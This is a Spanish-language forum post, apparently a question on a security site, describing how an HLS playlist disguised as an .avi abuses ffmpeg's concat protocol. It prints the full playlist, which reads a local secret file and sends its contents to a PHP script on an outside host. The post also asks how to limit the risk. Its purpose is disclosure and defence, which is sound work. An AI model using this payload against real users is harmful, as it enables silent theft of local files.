He sido un gran usuario de reproductores y codificadores basados en ffmpeg durante años, y aunque he oído hablar de numerosos problemas de seguridad, siempre supuse que estar al día era lo suficientemente seguro. Sin embargo, acabo de ver un artículo ( en ruso ) que explica cómo se puede utilizar mal el ffmpeg sin confiar en ningún error. en absoluto.
Para los valientes:
Crea un archivo /tmp/secret.txt
con una palabra secreta (importante: no hay nueva línea al final). Ahora reproduzca este video de aspecto inocente :
enlace
con un reproductor basado en ffmpeg o libav (probé SMPlayer 14.9.0 en Debian). ¿Aparece tu palabra secreta en el video?
Los usuarios de Windows pueden probar enlace que intenta robar c:\secret.txt
, aunque no lo hice. No lo pruebes.
Cómo funciona:
steal_secret.avi
es en realidad un archivo transmisión HTTP en directo que se ve así:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST
Le indica a SMPlayer que concatene tres archivos: un encabezado, secret.txt
y un pie de página. El resultado de esta concatenación es, nuevamente, un archivo HLS que se ve así:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST
Esta vez, los contenidos de secret.txt
se envían a steal.php
como un parámetro de URL. En mi caso, steal.php
simplemente imprime your secret is <your_secret_word>
1000 veces, para que se muestre dentro del video. Un verdadero atacante podría haber guardado el secreto y haber mostrado un clip inocente al usuario, sin generar sospechas.
Tenga en cuenta que este truco no se basa en errores, utiliza un formato compatible y una útil función de concatenación. Y a menudo ni siquiera tiene que hacer clic en el archivo: su administrador de archivos ejecutará ffmpeg en él para generar una miniatura.
¿Qué hacer?
Además del consejo obvio de tener cuidado con los archivos que no son de confianza y nunca ejecutar GUI como root, ¿qué se podría hacer para minimizar el riesgo? Específicamente, ¿qué reproductor multimedia debo usar al abrir tales archivos? Hasta ahora, mi ejemplo solo funciona con mplayer y SMPlayer, que admiten concat
, pero me pregunto si otros reproductores de medios compatibles con HLS pueden ser explotados de una manera similar.